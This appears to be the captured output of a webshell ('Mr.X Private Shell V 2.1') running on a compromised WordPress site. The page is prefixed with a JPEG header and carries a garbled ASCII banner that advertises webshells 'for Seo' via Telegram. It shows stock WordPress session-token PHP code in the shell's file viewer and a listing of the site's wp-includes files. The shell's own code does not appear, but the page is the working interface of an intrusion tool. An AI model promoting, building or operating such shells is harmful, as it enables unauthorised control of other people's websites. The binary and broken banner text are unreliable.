����JFIF���������
__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
<?php
/**
* Session API: WP_Session_Tokens class
*
* @package WordPress
* @subpackage Session
* @since 4.7.0
*/
/**
* Abstract class for managing user session tokens.
*
* @since 4.0.0
*/
abstract class WP_Session_Tokens {
/**
* User ID.
*
* @since 4.0.0
* @var int User ID.
*/
protected $user_id;
/**
* Protected constructor. Use the `get_instance()` method to get the instance.
*
* @since 4.0.0
*
* @param int $user_id User whose session to manage.
*/
protected function __construct( $user_id ) {
$this->user_id = $user_id;
}
/**
* Retrieves a session manager instance for a user.
*
* This method contains a {@see 'session_token_manager'} filter, allowing a plugin to swap out
* the session manager for a subclass of `WP_Session_Tokens`.
*
* @since 4.0.0
*
* @param int $user_id User whose session to manage.
* @return WP_Session_Tokens The session object, which is by default an instance of
* the `WP_User_Meta_Session_Tokens` class.
*/
final public static function get_instance( $user_id ) {
/**
* Filters the class name for the session token manager.
*
* @since 4.0.0
*
* @param string $session Name of class to use as the manager.
* Default 'WP_User_Meta_Session_Tokens'.
*/
$manager = apply_filters( 'session_token_manager', 'WP_User_Meta_Session_Tokens' );
return new $manager( $user_id );
}
/**
* Hashes the given session token for storage.
*
* @since 4.0.0
*
* @param string $token Session token to hash.
* @return string A hash of the session token (a verifier).
*/
private function hash_token( $token ) {
// If ext/hash is not present, use sha1() instead.
if ( function_exists( 'hash' ) ) {
return hash( 'sha256', $token );
} else {
return sha1( $token );
}
}
/**
* Retrieves a user's session for the given token.
*
* @since 4.0.0
*
* @param string $token Session token.
* @return array|null The session, or null if it does not exist.
*/
final public function get( $token ) {
$verifier = $this->hash_token( $token );
return $this->get_session( $verifier );
}
/**
* Validates the given session token for authenticity and validity.
*
* Checks that the given token is present and hasn't expired.
*
* @since 4.0.0
*
* @param string $token Token to verify.
* @return bool Whether the token is valid for the user.
*/
final public function verify( $token ) {
$verifier = $this->hash_token( $token );
return (bool) $this->get_session( $verifier );
}
/**
* Generates a session token and attaches session information to it.
*
* A session token is a long, random string. It is used in a cookie
* to link that cookie to an expiration time and to ensure the cookie
* becomes invalidated when the user logs out.
*
* This function generates a token and stores it with the associated
* expiration time (and potentially other session information via the
* {@see 'attach_session_information'} filter).
*
* @since 4.0.0
*
* @param int $expiration Session expiration timestamp.
* @return string Session token.
*/
final public function create( $expiration ) {
/**
* Filters the information attached to the newly created session.
*
* Can be used to attach further information to a session.
*
* @since 4.0.0
*
* @param array $session Array of extra data.
* @param int $user_id User ID.
*/
$session = apply_filters( 'attach_session_information', array(), $this->user_id );
$session['expiration'] = $expiration;
// IP address.
if ( ! empty( $_SERVER['REMOTE_ADDR'] ) ) {
$session['ip'] = $_SERVER['REMOTE_ADDR'];
}
// User-agent.
if ( ! empty( $_SERVER['HTTP_USER_AGENT'] ) ) {
$session['ua'] = wp_unslash( $_SERVER['HTTP_USER_AGENT'] );
}
// Timestamp
$session['login'] = time();
$token = wp_generate_password( 43, false, false );
$this->update( $token, $session );
return $token;
}
/**
* Updates the data for the session with the given token.
*
* @since 4.0.0
*
* @param string $token Session token to update.
* @param array $session Session information.
*/
final public function update( $token, $session ) {
$verifier = $this->hash_token( $token );
$this->update_session( $verifier, $session );
}
/**
* Destroys the session with the given token.
*
* @since 4.0.0
*
* @param string $token Session token to destroy.
*/
final public function destroy( $token ) {
$verifier = $this->hash_token( $token );
$this->update_session( $verifier, null );
}
/**
* Destroys all sessions for this user except the one with the given token (presumably the one in use).
*
* @since 4.0.0
*
* @param string $token_to_keep Session token to keep.
*/
final public function destroy_others( $token_to_keep ) {
$verifier = $this->hash_token( $token_to_keep );
$session = $this->get_session( $verifier );
if ( $session ) {
$this->destroy_other_sessions( $verifier );
} else {
$this->destroy_all_sessions();
}
}
/**
* Determines whether a session is still valid, based on its expiration timestamp.
*
* @since 4.0.0
*
* @param array $session Session to check.
* @return bool Whether session is valid.
*/
final protected function is_still_valid( $session ) {
return $session['expiration'] >= time();
}
/**
* Destroys all sessions for a user.
*
* @since 4.0.0
*/
final public function destroy_all() {
$this->destroy_all_sessions();
}
/**
* Destroys all sessions for all users.
*
* @since 4.0.0
*/
final public static function destroy_all_for_all_users() {
/** This filter is documented in site-inc/class-wp-session-tokens.php */
$manager = apply_filters( 'session_token_manager', 'WP_User_Meta_Session_Tokens' );
call_user_func( array( $manager, 'drop_sessions' ) );
}
/**
* Retrieves all sessions for a user.
*
* @since 4.0.0
*
* @return array Sessions for a user.
*/
final public function get_all() {
return array_values( $this->get_sessions() );
}
/**
* Retrieves all sessions of the user.
*
* @since 4.0.0
*
* @return array Sessions of the user.
*/
abstract protected function get_sessions();
/**
* Retrieves a session based on its verifier (token hash).
*
* @since 4.0.0
*
* @param string $verifier Verifier for the session to retrieve.
* @return array|null The session, or null if it does not exist.
*/
abstract protected function get_session( $verifier );
/**
* Updates a session based on its verifier (token hash).
*
* Omitting the second argument destroys the session.
*
* @since 4.0.0
*
* @param string $verifier Verifier for the session to update.
* @param array $session Optional. Session. Omitting this argument destroys the session.
*/
abstract protected function update_session( $verifier, $session = null );
/**
* Destroys all sessions for this user, except the single session with the given verifier.
*
* @since 4.0.0
*
* @param string $verifier Verifier of the session to keep.
*/
abstract protected function destroy_other_sessions( $verifier );
/**
* Destroys all sessions for the user.
*
* @since 4.0.0
*/
abstract protected function destroy_all_sessions();
/**
* Destroys all sessions for all users.
*
* @since 4.0.0
*/
public static function drop_sessions() {}
}
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| ID3 | Folder | 0755 |
|
|
| IXR | Folder | 0755 |
|
|
| PHPMailer | Folder | 0755 |
|
|
| Requests | Folder | 0755 |
|
|
| SimplePie | Folder | 0755 |
|
|
| Text | Folder | 0755 |
|
|
| certificates | Folder | 0755 |
|
|
| css | Folder | 0755 |
|
|
| customize | Folder | 0755 |
|
|
| images | Folder | 0755 |
|
|
| js | Folder | 0755 |
|
|
| pomo | Folder | 0755 |
|
|
| random_compat | Folder | 0755 |
|
|
| rest-api | Folder | 0755 |
|
|
| theme-compat | Folder | 0755 |
|
|
| widgets | Folder | 0755 |
|
|
| admin-bar.php | File | 29.03 KB | 0644 |
|
| atomlib.php | File | 11.56 KB | 0644 |
|
| author-template.php | File | 16.22 KB | 0644 |
|
| blocks.php | File | 12.43 KB | 0644 |
|
| bookmark-template.php | File | 11.64 KB | 0644 |
|
| bookmark.php | File | 13.55 KB | 0644 |
|
| bootstrap.php | File | 4.11 KB | 0644 |
|
| cache.php | File | 21.35 KB | 0644 |
|
| canonical.php | File | 27.83 KB | 0644 |
|
| capabilities.php | File | 28.84 KB | 0644 |
|
| category-template.php | File | 50.8 KB | 0644 |
|
| category.php | File | 12.41 KB | 0644 |
|
| class-IXR.php | File | 2.51 KB | 0644 |
|
| class-feed.php | File | 523 B | 0644 |
|
| class-http.php | File | 36.22 KB | 0644 |
|
| class-json.php | File | 39.53 KB | 0644 |
|
| class-oembed.php | File | 30.73 KB | 0644 |
|
| class-phpass.php | File | 7.15 KB | 0644 |
|
| class-phpmailer.php | File | 668 B | 0644 |
|
| class-pop3.php | File | 20.43 KB | 0644 |
|
| class-requests.php | File | 29.09 KB | 0644 |
|
| class-simplepie.php | File | 87.17 KB | 0644 |
|
| class-smtp.php | File | 461 B | 0644 |
|
| class-walker-category-dropdown.php | File | 2.07 KB | 0644 |
|
| class-walker-category.php | File | 6.62 KB | 0644 |
|
| class-walker-comment.php | File | 13.33 KB | 0644 |
|
| class-walker-nav-menu.php | File | 8.38 KB | 0644 |
|
| class-walker-page-dropdown.php | File | 2.24 KB | 0644 |
|
| class-walker-page.php | File | 6.78 KB | 0644 |
|
| class-wp-admin-bar.php | File | 16.08 KB | 0644 |
|
| class-wp-ajax-response.php | File | 5.01 KB | 0644 |
|
| class-wp-block-parser.php | File | 14.86 KB | 0644 |
|
| class-wp-block-type-registry.php | File | 4.63 KB | 0644 |
|
| class-wp-block-type.php | File | 4.7 KB | 0644 |
|
| class-wp-comment-query.php | File | 42.21 KB | 0644 |
|
| class-wp-comment.php | File | 8.75 KB | 0644 |
|
| class-wp-customize-control.php | File | 24.49 KB | 0644 |
|
| class-wp-customize-manager.php | File | 195.47 KB | 0644 |
|
| class-wp-customize-nav-menus.php | File | 53.08 KB | 0644 |
|
| class-wp-customize-panel.php | File | 9.42 KB | 0644 |
|
| class-wp-customize-section.php | File | 9.99 KB | 0644 |
|
| class-wp-customize-setting.php | File | 27.59 KB | 0644 |
|
| class-wp-dependency.php | File | 2.28 KB | 0644 |
|
| class-wp-editor.php | File | 66.27 KB | 0644 |
|
| class-wp-embed.php | File | 14.38 KB | 0644 |
|
| class-wp-error.php | File | 4.81 KB | 0644 |
|
| class-wp-feed-cache-transient.php | File | 2.5 KB | 0644 |
|
| class-wp-feed-cache.php | File | 749 B | 0644 |
|
| class-wp-hook.php | File | 13.77 KB | 0644 |
|
| class-wp-http-cookie.php | File | 6.44 KB | 0644 |
|
| class-wp-http-curl.php | File | 11.64 KB | 0644 |
|
| class-wp-http-encoding.php | File | 6.35 KB | 0644 |
|
| class-wp-http-ixr-client.php | File | 3.25 KB | 0644 |
|
| class-wp-http-proxy.php | File | 5.92 KB | 0644 |
|
| class-wp-http-requests-hooks.php | File | 1.83 KB | 0644 |
|
| class-wp-http-requests-response.php | File | 4.19 KB | 0644 |
|
| class-wp-http-response.php | File | 2.8 KB | 0644 |
|
| class-wp-http-streams.php | File | 15.02 KB | 0644 |
|
| class-wp-image-editor-gd.php | File | 13.18 KB | 0644 |
|
| class-wp-image-editor-imagick.php | File | 21.27 KB | 0644 |
|
| class-wp-image-editor.php | File | 11.49 KB | 0644 |
|
| class-wp-list-util.php | File | 6.25 KB | 0644 |
|
| class-wp-locale-switcher.php | File | 4.91 KB | 0644 |
|
| class-wp-locale.php | File | 14.26 KB | 0644 |
|
| class-wp-matchesmapregex.php | File | 1.76 KB | 0644 |
|
| class-wp-meta-query.php | File | 22.86 KB | 0644 |
|
| class-wp-metadata-lazyloader.php | File | 5.26 KB | 0644 |
|
| class-wp-network-query.php | File | 16.79 KB | 0644 |
|
| class-wp-network.php | File | 11.93 KB | 0644 |
|
| class-wp-oembed-controller.php | File | 5.88 KB | 0644 |
|
| class-wp-post-type.php | File | 17.81 KB | 0644 |
|
| class-wp-post.php | File | 6.28 KB | 0644 |
|
| class-wp-query.php | File | 127.67 KB | 0644 |
|
| class-wp-rewrite.php | File | 58.42 KB | 0644 |
|
| class-wp-role.php | File | 2.6 KB | 0644 |
|
| class-wp-roles.php | File | 8.13 KB | 0644 |
|
| class-wp-session-tokens.php | File | 7.25 KB | 0644 |
|
| class-wp-simplepie-file.php | File | 2.27 KB | 0644 |
|
| class-wp-simplepie-sanitize-kses.php | File | 1.73 KB | 0644 |
|
| class-wp-site-query.php | File | 26.78 KB | 0644 |
|
| class-wp-site.php | File | 7.13 KB | 0644 |
|
| class-wp-tax-query.php | File | 18.81 KB | 0644 |
|
| class-wp-taxonomy.php | File | 10.41 KB | 0644 |
|
| class-wp-term-query.php | File | 33.84 KB | 0644 |
|
| class-wp-term.php | File | 5.14 KB | 0644 |
|
| class-wp-text-diff-renderer-inline.php | File | 716 B | 0644 |
|
| class-wp-text-diff-renderer-table.php | File | 16.06 KB | 0644 |
|
| class-wp-theme.php | File | 48.09 KB | 0644 |
|
| class-wp-user-meta-session-tokens.php | File | 2.92 KB | 0644 |
|
| class-wp-user-query.php | File | 30.49 KB | 0644 |
|
| class-wp-user.php | File | 20.91 KB | 0644 |
|
| class-wp-walker.php | File | 12.39 KB | 0644 |
|
| class-wp-widget-factory.php | File | 3.69 KB | 0644 |
|
| class-wp-widget.php | File | 17.41 KB | 0644 |
|
| class-wp-xmlrpc-server.php | File | 202.08 KB | 0644 |
|
| class-wp.php | File | 24.18 KB | 0644 |
|
| class.wp-dependencies.php | File | 11.24 KB | 0644 |
|
| class.wp-scripts.php | File | 17.4 KB | 0644 |
|
| class.wp-styles.php | File | 9.61 KB | 0644 |
|
| comment-template.php | File | 87.64 KB | 0644 |
|
| comment.php | File | 111.72 KB | 0644 |
|
| compat.php | File | 15.99 KB | 0644 |
|
| cron.php | File | 30.82 KB | 0644 |
|
| date.php | File | 34.34 KB | 0644 |
|
| default-constants.php | File | 9.61 KB | 0644 |
|
| default-filters.php | File | 24.76 KB | 0644 |
|
| default-widgets.php | File | 2.13 KB | 0644 |
|
| embed.php | File | 44.04 KB | 0644 |
|
| feed-atom-comments.php | File | 5.33 KB | 0644 |
|
| feed-atom.php | File | 3.09 KB | 0644 |
|
| feed-rdf.php | File | 2.67 KB | 0644 |
|
| feed-rss.php | File | 1.25 KB | 0644 |
|
| feed-rss2-comments.php | File | 4.09 KB | 0644 |
|
| feed-rss2.php | File | 3.77 KB | 0644 |
|
| feed.php | File | 19.29 KB | 0644 |
|
| formatting.php | File | 280.29 KB | 0644 |
|
| functions.php | File | 210.22 KB | 0644 |
|
| functions.wp-scripts.php | File | 12.53 KB | 0644 |
|
| functions.wp-styles.php | File | 8.03 KB | 0644 |
|
| general-template.php | File | 138.46 KB | 0644 |
|
| http.php | File | 21.9 KB | 0644 |
|
| kses.php | File | 57.23 KB | 0644 |
|
| l10n.php | File | 50.67 KB | 0644 |
|
| link-template.php | File | 135.4 KB | 0644 |
|
| load.php | File | 36.4 KB | 0644 |
|
| media-template.php | File | 46.33 KB | 0644 |
|
| media.php | File | 141.33 KB | 0644 |
|
| meta.php | File | 44.98 KB | 0644 |
|
| mime.php | File | 39.54 KB | 0644 |
|
| nav-menu-template.php | File | 21.2 KB | 0644 |
|
| nav-menu.php | File | 39.57 KB | 0644 |
|
| open_basedir.php | File | 21 B | 0644 |
|
| option.php | File | 67.91 KB | 0644 |
|
| pluggable.php | File | 97.52 KB | 0644 |
|
| plugin.php | File | 31.37 KB | 0644 |
|
| post-formats.php | File | 6.86 KB | 0644 |
|
| post-template.php | File | 60.22 KB | 0644 |
|
| post-thumbnail-template.php | File | 8.75 KB | 0644 |
|
| post.php | File | 227.37 KB | 0644 |
|
| query.php | File | 31.24 KB | 0644 |
|
| rest-api.php | File | 40.67 KB | 0644 |
|
| revision.php | File | 21.08 KB | 0644 |
|
| rewrite.php | File | 17.27 KB | 0644 |
|
| robots-template.php | File | 5.06 KB | 0644 |
|
| rss.php | File | 22.66 KB | 0644 |
|
| script-loader.php | File | 98.75 KB | 0644 |
|
| shortcodes.php | File | 20.25 KB | 0644 |
|
| sitepad_functions.php | File | 19.73 KB | 0644 |
|
| sitepad_functions2.php | File | 21.99 KB | 0644 |
|
| spl-autoload-compat.php | File | 2.51 KB | 0644 |
|
| taxonomy.php | File | 152.95 KB | 0644 |
|
| template-loader.php | File | 2.55 KB | 0644 |
|
| template.php | File | 19.77 KB | 0644 |
|
| theme.php | File | 99.09 KB | 0644 |
|
| update.php | File | 24.81 KB | 0644 |
|
| user.php | File | 120.69 KB | 0644 |
|
| vars.php | File | 5.59 KB | 0644 |
|
| version.php | File | 2.03 KB | 0644 |
|
| widgets.php | File | 55.82 KB | 0644 |
|
| wlwmanifest.xml | File | 1.03 KB | 0644 |
|
| wp-db.php | File | 99.29 KB | 0644 |
|
| wp-diff.php | File | 662 B | 0644 |
|